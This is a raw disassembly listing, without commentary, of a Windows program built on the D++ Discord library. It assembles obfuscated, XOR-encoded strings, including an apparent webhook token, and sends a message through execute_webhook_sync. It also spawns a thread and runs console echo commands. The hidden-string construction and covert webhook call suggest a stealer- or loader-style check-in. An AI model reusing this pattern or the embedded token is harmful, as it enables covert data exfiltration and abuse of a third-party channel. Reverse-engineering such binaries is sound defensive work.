lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cc5], al
call fcn.00464cf0
push 0x37
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cc4], al
call fcn.00464cf0
push 0x32
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cc3], al
call fcn.00464cf0
push 0x38
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cc2], al
call fcn.00464cf0
push 0x37
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cc1], al
call fcn.00464cf0
push 0x39
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cc0], al
call fcn.00464cf0
push 0x36
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cbf], al
call fcn.00464cf0
push 0x38
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cbe], al
call fcn.00464cf0
push 0x36
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cbd], al
call fcn.00464cf0
push 0x2f
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cbc], al
call fcn.00464cf0
push 0x34
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cbb], al
call fcn.00464cf0
push 0x36
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cba], al
call fcn.00464cf0
push 0x6b
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cb9], al
call fcn.00464cf0
push 0x54
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cb8], al
call fcn.00464cf0
push 0x4f
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cb7], al
call fcn.00464cf0
push 0x6b
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cb6], al
call fcn.00464cf0
push 0x31
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cb5], al
call fcn.00464cf0
push 0x6d
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cb4], al
call fcn.00464cf0
push 0x49
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cb3], al
call fcn.00464cf0
push 0x53
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cb2], al
call fcn.00464cf0
push 0x72
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cb1], al
call fcn.00464cf0
push 0x75
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cb0], al
call fcn.00464cf0
push 0x49
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2caf], al
call fcn.00464cf0
push 0x6b
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cae], al
call fcn.00464cf0
push 0x53
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cad], al
call fcn.00464cf0
push 0x68
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cac], al
call fcn.00464cf0
push 0x37
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2cab], al
call fcn.00464cf0
push 0x62
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2caa], al
call fcn.00464cf0
push 0x34
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2ca9], al
call fcn.00464cf0
push 0x56
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2ca8], al
call fcn.00464cf0
mov byte [ebp - 0x2ca7], al
push 0x39
lea ecx, [ebp - 0x2cf0]
call fcn.00464cf0
push 0x47
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2ca6], al
call fcn.00464cf0
push 0x52
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2ca5], al
call fcn.00464cf0
push 0x42
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2ca4], al
call fcn.00464cf0
push 0x41
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2ca3], al
call fcn.00464cf0
push 0x30
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2ca2], al
call fcn.00464cf0
push 0x74
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2ca1], al
call fcn.00464cf0
push 0x58
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2ca0], al
call fcn.00464cf0
push 0x72
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c9f], al
call fcn.00464cf0
push 0x36
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c9e], al
call fcn.00464cf0
push 0x53
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c9d], al
call fcn.00464cf0
push 0x77
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c9c], al
call fcn.00464cf0
push 0x54
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c9b], al
call fcn.00464cf0
push 0x5f
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c9a], al
call fcn.00464cf0
push 0x4f
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c99], al
call fcn.00464cf0
push 0x4f
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c98], al
call fcn.00464cf0
push 0x45
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c97], al
call fcn.00464cf0
push 0x4d
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c96], al
call fcn.00464cf0
push 0x37
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c95], al
call fcn.00464cf0
push 0x30
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c94], al
call fcn.00464cf0
mov byte [ebp - 0x2c93], al
push 0x4d
lea ecx, [ebp - 0x2cf0]
call fcn.00464cf0
push 0x36
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c92], al
call fcn.00464cf0
push 0x65
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c91], al
call fcn.00464cf0
push 0x69
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c90], al
call fcn.00464cf0
push 0x38
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c8f], al
call fcn.00464cf0
push 0x50
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c8e], al
call fcn.00464cf0
push 0x6d
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c8d], al
call fcn.00464cf0
push 0x77
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c8c], al
call fcn.00464cf0
push 0x4c
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c8b], al
call fcn.00464cf0
push 0x47
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c8a], al
call fcn.00464cf0
push 0x79
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c89], al
call fcn.00464cf0
push 0x45
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c88], al
call fcn.00464cf0
push 0x5f
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c87], al
call fcn.00464cf0
push 0x6e
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c86], al
call fcn.00464cf0
push 0x75
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c85], al
call fcn.00464cf0
push 0x7a
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c84], al
call fcn.00464cf0
push 0x58
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c83], al
call fcn.00464cf0
push 0x46
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c82], al
call fcn.00464cf0
push 0x4f
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c81], al
call fcn.00464cf0
push 0x50
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c80], al
call fcn.00464cf0
mov byte [ebp - 0x2c7f], al
lea ecx, [ebp - 0x2cf0]
push 0x67
call fcn.00464cf0
push 0x53
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c7e], al
call fcn.00464cf0
push 0x39
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c7d], al
call fcn.00464cf0
push 0x64
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c7c], al
call fcn.00464cf0
push 0x59
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c7b], al
call fcn.00464cf0
push 0x77
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c7a], al
call fcn.00464cf0
push 0x31
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c79], al
call fcn.00464cf0
push 0x50
lea ecx, [ebp - 0x2cf0]
mov byte [ebp - 0x2c78], al
call fcn.00464cf0
mov byte [ebp - 0x2c77], al
xor esi, esi
mov byte [ebp - 0x2c76], 0
nop dword [eax + eax]
push esi
lea ecx, [ebp - 0x2cef]
call fcn.00464d10
lea ecx, [ebp - 0x2cf0]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x2cef]
mov byte [ebp - 0x2b61], al
call fcn.00464d10
mov cl, byte [ebp - 0x2b61]
inc esi
mov byte [eax], cl
cmp esi, 0x79
jb 0x462e00
push 0x79
lea ecx, [ebp - 0x2cef]
call fcn.00464d10
lea ecx, [ebp - 0x2cef]
mov byte [eax], 0
call fcn.00464d00
push eax
lea ecx, [ebp - 0x31b8]
call fcn.004666f0
lea eax, [ebp - 0x31b8]
mov byte [ebp - 4], 0xe
push eax
lea ecx, [ebp - 0x1e8]
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::webhook::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [ebp - 0x31b8]
mov byte [ebp - 4], 0x10
call fcn.004665d0
push 0x4797c6
lea ecx, [ebp - 0x31a0]
call fcn.004666f0
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x2b88]
xorps xmm0, xmm0
mov byte [ebp - 0x2b88], 0xf
push 0x4e
movlpd qword [ebp - 0x2e80], xmm0
call fcn.00464cf0
push 0x4e
lea ecx, [ebp - 0x2b88]
mov byte [ebp - 0x2b87], al
call fcn.00464cf0
push 0x4e
lea ecx, [ebp - 0x2b88]
mov byte [ebp - 0x2b86], al
call fcn.00464cf0
push 0x4e
lea ecx, [ebp - 0x2b88]
mov byte [ebp - 0x2b85], al
call fcn.00464cf0
push 0x4e
lea ecx, [ebp - 0x2b88]
mov byte [ebp - 0x2b84], al
call fcn.00464cf0
push 0x4e
lea ecx, [ebp - 0x2b88]
mov byte [ebp - 0x2b83], al
call fcn.00464cf0
push 0x4e
lea ecx, [ebp - 0x2b88]
mov byte [ebp - 0x2b82], al
call fcn.00464cf0
push 0x4e
lea ecx, [ebp - 0x2b88]
mov byte [ebp - 0x2b81], al
call fcn.00464cf0
push 0x4e
lea ecx, [ebp - 0x2b88]
mov byte [ebp - 0x2b80], al
call fcn.00464cf0
push 0x4e
lea ecx, [ebp - 0x2b88]
mov byte [ebp - 0x2b7f], al
call fcn.00464cf0
mov byte [ebp - 0x2b7e], al
xor esi, esi
mov byte [ebp - 0x2b7d], 0
nop word [eax + eax]
push esi
lea ecx, [ebp - 0x2b87]
call fcn.00464d10
lea ecx, [ebp - 0x2b88]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x2b87]
mov byte [ebp - 0x2b61], al
call fcn.00464d10
mov cl, byte [ebp - 0x2b61]
inc esi
mov byte [eax], cl
cmp esi, 0xa
jb 0x462f80
push 0xa
lea ecx, [ebp - 0x2b87]
call fcn.00464d10
lea ecx, [ebp - 0x2b87]
mov byte [eax], 0
call fcn.00464d00
push eax
lea ecx, [ebp - 0x3110]
call fcn.004666f0
push 0
lea eax, [ebp - 0x3110]
mov byte [ebp - 4], 0x12
push eax
lea ecx, [ebp - 0x39b0]
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::message::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___enum_dpp::message_type_]
mov esi, eax
lea eax, [ebp - 0x31a0]
mov byte [ebp - 4], 0x13
push eax
sub esp, 8
lea eax, [ebp - 0x2e80]
mov ecx, esp
push eax
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::snowflake::constructor_unsigned_long_long_unsigned___int64__const__]
push 0
push esi
lea eax, [ebp - 0x1e8]
push eax
lea eax, [ebp - 0x3758]
push eax
lea ecx, [ebp - 0x16e0]
call dword [sym.imp.dpp.dll_public:_struct_dpp::message___thiscall_dpp::cluster::execute_webhook_sync_class_dpp::webhook_const___struct_dpp::message_const___bool__class_dpp::snowflake__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov esi, dword [sym.imp.dpp.dll_public_virtual:_void___thiscall_dpp::message::destructor_void_]
lea ecx, [ebp - 0x3758]
call esi
lea ecx, [ebp - 0x39b0]
call esi
lea ecx, [ebp - 0x3110]
call fcn.004665d0
lea ecx, [ebp - 0x31a0]
call fcn.004665d0
lea ecx, [ebp - 0x1e8]
call dword [sym.imp.dpp.dll_public_virtual:_void___thiscall_dpp::webhook::destructor_void_]
lea ecx, [ebp - 0x16e0]
mov byte [ebp - 4], 1
call dword [sym.imp.dpp.dll_public_virtual:_void___thiscall_dpp::cluster::destructor_void_]
mov cl, 0x5a
mov dword [ebp - 0x2da8], 0x63681c5a
mov dword [ebp - 0x2da4], 0x186f6c6c
xor eax, eax
mov dword [ebp - 0x2da0], 0x19196a6c
mov word [ebp - 0x2d9c], 0x63
nop word [eax + eax]
xor byte [ebp + eax - 0x2da7], cl
inc eax
cmp eax, 0xc
jae 0x4630c5
mov cl, byte [ebp - 0x2da8]
jmp 0x4630b0
lea ecx, [ebp - 0x3278]
mov byte [ebp - 0x2d9b], 0
call fcn.0043d160
lea ecx, [ebp - 0x2da7]
push ecx
mov ecx, eax
call fcn.00469c90
lea ecx, [ebp - 0x3278]
mov byte [ebp - 0x2b61], al
call fcn.004665d0
cmp byte [ebp - 0x2b61], 0
jne 0x463114
push 0
push 0
push 0
push 0x450210
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
movaps xmm0, xmmword [0x489a10]
xor ecx, ecx
movups xmmword [ebp - 0x2e78], xmm0
mov dword [ebp - 0x2e58], 0x65611514
movaps xmm0, xmmword [0x489930]
movups xmmword [ebp - 0x2e68], xmm0
mov word [ebp - 0x2e54], 0x17
nop word [eax + eax]
mov al, byte [ebp - 0x2e78]
xor byte [ebp + ecx - 0x2e77], al
inc ecx
cmp ecx, 0x24
jb 0x463150
push dword [ebp - 0x2b6c]
lea ecx, [ebp - 0x2fd0]
mov byte [ebp - 0x2e53], 0
call fcn.00468c40
lea ecx, [ebp - 0x2e77]
mov byte [ebp - 4], 0x14
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x463188
sub ecx, edx
lea eax, [ebp - 0x2e77]
push ecx
push eax
lea ecx, [ebp - 0x2fd0]
call fcn.00468c60
movaps xmm0, xmmword [0x48b7c0]
xor ecx, ecx
movups xmmword [ebp - 0x2e24], xmm0
mov byte [ebp - 0x2e14], 0
nop dword [eax + eax]
mov al, byte [ebp - 0x2e24]
xor byte [ebp + ecx - 0x2e23], al
inc ecx
cmp ecx, 0xf
jb 0x4631c0
push dword [ebp - 0x2b6c]
lea ecx, [ebp - 0x2fb8]
mov byte [ebp - 0x2e14], 0
call fcn.00468c40
lea ecx, [ebp - 0x2e23]
mov byte [ebp - 4], 0x16
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4631f8
sub ecx, edx
lea eax, [ebp - 0x2e23]
push ecx
push eax
lea ecx, [ebp - 0x2fb8]
call fcn.00468c60
movaps xmm0, xmmword [0x48a270]
xor ecx, ecx
movups xmmword [ebp - 0x2e50], xmm0
mov dword [ebp - 0x2e30], 0x33313533
movaps xmm0, xmmword [0x48a590]
movups xmmword [ebp - 0x2e40], xmm0
mov dword [ebp - 0x2e2c], 0x772d3031
mov word [ebp - 0x2e28], 0x777b
mov byte [ebp - 0x2e26], 0
nop word [eax + eax]
mov al, byte [ebp - 0x2e50]
xor byte [ebp + ecx - 0x2e4f], al
inc ecx
cmp ecx, 0x29
jb 0x463260
push dword [ebp - 0x2b6c]
lea ecx, [ebp - 0x2fa0]
mov byte [ebp - 0x2e26], 0
call fcn.00468c40
lea ecx, [ebp - 0x2e4f]
mov byte [ebp - 4], 0x18
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x463298
sub ecx, edx
lea eax, [ebp - 0x2e4f]
push ecx
push eax
lea ecx, [ebp - 0x2fa0]
call fcn.00468c60
lea eax, [ebp - 0x2fd0]
mov byte [ebp - 4], 0x19
push eax
lea edx, [ebp - 0x2fb8]
lea ecx, [ebp - 0x2fa0]
call fcn.0043dc00
add esp, 4
lea ecx, [ebp - 0x2fa0]
call fcn.004665d0
lea ecx, [ebp - 0x2fb8]
call fcn.004665d0
lea ecx, [ebp - 0x2fd0]
mov byte [ebp - 4], 1
call fcn.004665d0
call dword [sym.imp.KERNEL32.dll_AllocConsole]
mov cl, 0x31
mov byte [ebp - 0x2d72], 0
mov al, 0x11
mov byte [ebp - 0x2d74], cl
xor al, cl
mov byte [ebp - 0x2d72], 0
mov byte [ebp - 0x2d73], al
lea eax, [ebp - 0x2d73]
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
movaps xmm0, xmmword [0x48a640]
xor ecx, ecx
movups xmmword [ebp - 0x2ed0], xmm0
mov word [ebp - 0x2e90], 0x4743
movaps xmm0, xmmword [0x48a630]
movups xmmword [ebp - 0x2ec0], xmm0
mov byte [ebp - 0x2e8e], 0
movaps xmm0, xmmword [0x48a630]
movups xmmword [ebp - 0x2eb0], xmm0
movaps xmm0, xmmword [0x48aeb0]
movups xmmword [ebp - 0x2ea0], xmm0
nop word [eax + eax]
mov al, byte [ebp - 0x2ed0]
xor byte [ebp + ecx - 0x2ecf], al
inc ecx
cmp ecx, 0x41
jb 0x463380
lea eax, [ebp - 0x2ecf]
mov byte [ebp - 0x2e8e], 0
push eax
lea ecx, [ebp - 0x148]
call fcn.004666f0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x2e00]
movaps xmm0, xmmword [0x4897d0]
movups xmmword [ebp - 0x2e00], xmm0
push 0x20
movaps xmm0, xmmword [0x4897c0]
movups xmmword [ebp - 0x2df0], xmm0
mov dword [ebp - 0x2de0], 0xb0b0b0b
mov dword [ebp - 0x2ddc], 0xb0b0b0b
mov byte [ebp - 0x2dd8], 0xb
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x2e00]
mov byte [ebp - 0x2dd7], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x2e00]
mov byte [ebp - 0x2dd6], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x2e00]
mov byte [ebp - 0x2dd5], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x2e00]
mov byte [ebp - 0x2dd4], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x2e00]
mov byte [ebp - 0x2dd3], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x2e00]
mov byte [ebp - 0x2dd2], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x2e00]
mov byte [ebp - 0x2dd1], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x2e00]
mov byte [ebp - 0x2dd0], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x2e00]
mov byte [ebp - 0x2dcf], al
call fcn.00464cf0
push 0x63
lea ecx, [ebp - 0x2e00]
mov byte [ebp - 0x2dce], al
call fcn.00464cf0
push 0x61
lea ecx, [ebp - 0x2e00]
mov byte [ebp - 0x2dcd], al
call fcn.00464cf0
push 0x72
lea ecx, [ebp - 0x2e00]
mov byte [ebp - 0x2dcc], al
call fcn.00464cf0
push 0x72
lea ecx, [ebp - 0x2e00]
mov byte [ebp - 0x2dcb], al
call fcn.00464cf0
push 0x65
lea ecx, [ebp - 0x2e00]
mov byte [ebp - 0x2dca], al
call fcn.00464cf0
push 0x67
lea ecx, [ebp - 0x2e00]
mov byte [ebp - 0x2dc9], al
call fcn.00464cf0
push 0x61
lea ecx, [ebp - 0x2e00]
mov byte [ebp - 0x2dc8], al
call fcn.00464cf0
push 0x6e
lea ecx, [ebp - 0x2e00]
mov byte [ebp - 0x2dc7], al
call fcn.00464cf0
push 0x64
lea ecx, [ebp - 0x2e00]
mov byte [ebp - 0x2dc6], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x2e00]
mov byte [ebp - 0x2dc5], al
call fcn.00464cf0
push 0x2e
lea ecx, [ebp - 0x2e00]
mov byte [ebp - 0x2dc4], al
call fcn.00464cf0
push 0x2e
lea ecx, [ebp - 0x2e00]
mov byte [ebp - 0x2dc3], al
call fcn.00464cf0
push 0x2e
lea ecx, [ebp - 0x2e00]
mov byte [ebp - 0x2dc2], al
call fcn.00464cf0
mov byte [ebp - 0x2dc1], al
xor esi, esi
mov byte [ebp - 0x2dc0], 0
nop word [eax + eax]
push esi
lea ecx, [ebp - 0x2dff]
call fcn.00464d10
lea ecx, [ebp - 0x2e00]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x2dff]
mov byte [ebp - 0x2b61], al
call fcn.00464d10
mov cl, byte [ebp - 0x2b61]
inc esi
mov byte [eax], cl
cmp esi, 0x3f
jb 0x4635b0
push 0x3f
lea ecx, [ebp - 0x2dff]
call fcn.00464d10
lea ecx, [ebp - 0x2dff]
mov byte [eax], 0
call fcn.00464d00
push eax
lea ecx, [ebp - 0x160]
call fcn.004666f0
push 5
mov byte [ebp - 4], 0x1b
mov edi, dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xfffffffffffffff5
call edi
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push 0x65
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2bbc], 0x71
call fcn.00464cf0
push 0x63
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2bbb], al
call fcn.00464cf0
push 0x68
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2bba], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2bb9], al
call fcn.00464cf0
push 0x2e
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2bb8], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2bb7], al
call fcn.00464cf0
push 0x26
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2bb6], al
call fcn.00464cf0
push 0x26
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2bb5], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2bb4], al
call fcn.00464cf0
push 0x65
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2bb3], al
call fcn.00464cf0
push 0x63
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2bb2], al
call fcn.00464cf0
push 0x68
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2bb1], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2bb0], al
call fcn.00464cf0
push 0x2e
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2baf], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2bae], al
call fcn.00464cf0
push 0x26
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2bad], al
call fcn.00464cf0
push 0x26
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2bac], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2bab], al
call fcn.00464cf0
push 0x65
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2baa], al
call fcn.00464cf0
push 0x63
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2ba9], al
call fcn.00464cf0
push 0x68
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2ba8], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2ba7], al
call fcn.00464cf0
push 0x2e
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2ba6], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2ba5], al
call fcn.00464cf0
push 0x26
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2ba4], al
call fcn.00464cf0
push 0x26
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2ba3], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2ba2], al
call fcn.00464cf0
push 0x65
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2ba1], al
call fcn.00464cf0
push 0x63
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2ba0], al
call fcn.00464cf0
push 0x68
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2b9f], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2b9e], al
call fcn.00464cf0
push 0x2e
lea ecx, [ebp - 0x2bbc]
mov byte [ebp - 0x2b9d], al
call fcn.00464cf0
mov byte [ebp - 0x2b9c], al
xor esi, esi
mov byte [ebp - 0x2b9b], 0
nop dword [eax]
push esi
lea ecx, [ebp - 0x2bbb]
call fcn.00464d10
lea ecx, [ebp - 0x2bbc]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x2bbb]
mov byte [ebp - 0x2b61], al
call fcn.00464d10
mov cl, byte [ebp - 0x2b61]
inc esi
mov byte [eax], cl
cmp esi, 0x20
jb 0x4638a0
push 0x20
lea ecx, [ebp - 0x2bbb]
call fcn.00464d10
lea ecx, [ebp - 0x2bbb]
mov byte [eax], 0
call fcn.00464d00
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push eax
call esi
add esp, 4
lea ecx, [ebp - 0x148]
call fcn.00466330
push eax
call esi
add esp, 4
push 7
push 0xfffffffffffffff5
call edi
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea ecx, [ebp - 0x160]
call fcn.00466330
push eax
call esi
add esp, 4
push 0
push 0xfffffffffffffff5
call edi
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push 0x46
lea ecx, [ebp - 0x2b98]
mov byte [ebp - 0x2b98], 0x22
call fcn.00464cf0
push 0x32
lea ecx, [ebp - 0x2b98]
mov byte [ebp - 0x2b97], al
call fcn.00464cf0
push 0x39
lea ecx, [ebp - 0x2b98]
mov byte [ebp - 0x2b96], al
call fcn.00464cf0
push 0x36
lea ecx, [ebp - 0x2b98]
mov byte [ebp - 0x2b95], al
call fcn.00464cf0
push 0x36
lea ecx, [ebp - 0x2b98]
mov byte [ebp - 0x2b94], al
call fcn.00464cf0
push 0x35
lea ecx, [ebp - 0x2b98]
mov byte [ebp - 0x2b93], al
call fcn.00464cf0
push 0x42
lea ecx, [ebp - 0x2b98]
mov byte [ebp - 0x2b92], al
call fcn.00464cf0
push 0x36
lea ecx, [ebp - 0x2b98]
mov byte [ebp - 0x2b91], al
call fcn.00464cf0
push 0x30
lea ecx, [ebp - 0x2b98]
mov byte [ebp - 0x2b90], al
call fcn.00464cf0
push 0x43
lea ecx, [ebp - 0x2b98]
mov byte [ebp - 0x2b8f], al
call fcn.00464cf0
push 0x43
lea ecx, [ebp - 0x2b98]
mov byte [ebp - 0x2b8e], al
call fcn.00464cf0
push 0x39
lea ecx, [ebp - 0x2b98]
mov byte [ebp - 0x2b8d], al
call fcn.00464cf0
mov byte [ebp - 0x2b8c], al
xor esi, esi
mov byte [ebp - 0x2b8b], 0
push esi
lea ecx, [ebp - 0x2b97]
call fcn.00464d10
lea ecx, [ebp - 0x2b98]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x2b97]
mov byte [ebp - 0x2b61], al
call fcn.00464d10
mov cl, byte [ebp - 0x2b61]
inc esi
mov byte [eax], cl
cmp esi, 0xc
jb 0x463a32
push 0xc
lea ecx, [ebp - 0x2b97]
call fcn.00464d10
lea ecx, [ebp - 0x2b97]
mov byte [eax], 0
call fcn.00464d00
lea ecx, [ebp - 0x3260]
mov esi, eax
call fcn.0043d160
mov edx, esi
mov byte [ebp - 4], 0x1c
mov ecx, eax
call fcn.00467fa0
lea ecx, [ebp - 0x3260]
mov byte [ebp - 0x2b61], al
mov byte [ebp - 4], 0x1b
call fcn.004665d0
cmp byte [ebp - 0x2b61], 0
jne 0x463ac5
call fcn.00450ce0
lea ecx, [ebp - 0x3230]
call fcn.0043d160
push eax
mov edx, 0x485f74
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x3248]
call fcn.00467de0
add esp, 4
mov esi, eax
movaps xmm0, xmmword [0x489730]
xor ecx, ecx
movups xmmword [ebp - 0x2f70], xmm0
mov dword [ebp - 0x2ee0], 0x45414f16
movaps xmm0, xmmword [0x48ae90]
movups xmmword [ebp - 0x2f60], xmm0
mov dword [ebp - 0x2edc], 0x70425713
movaps xmm0, xmmword [0x48aff0]
movups xmmword [ebp - 0x2f50], xmm0
mov dword [ebp - 0x2ed8], 0x535f5309
movaps xmm0, xmmword [0x48b400]
movups xmmword [ebp - 0x2f40], xmm0
mov byte [ebp - 0x2ed4], 0
movaps xmm0, xmmword [0x489b30]
movups xmmword [ebp - 0x2f30], xmm0
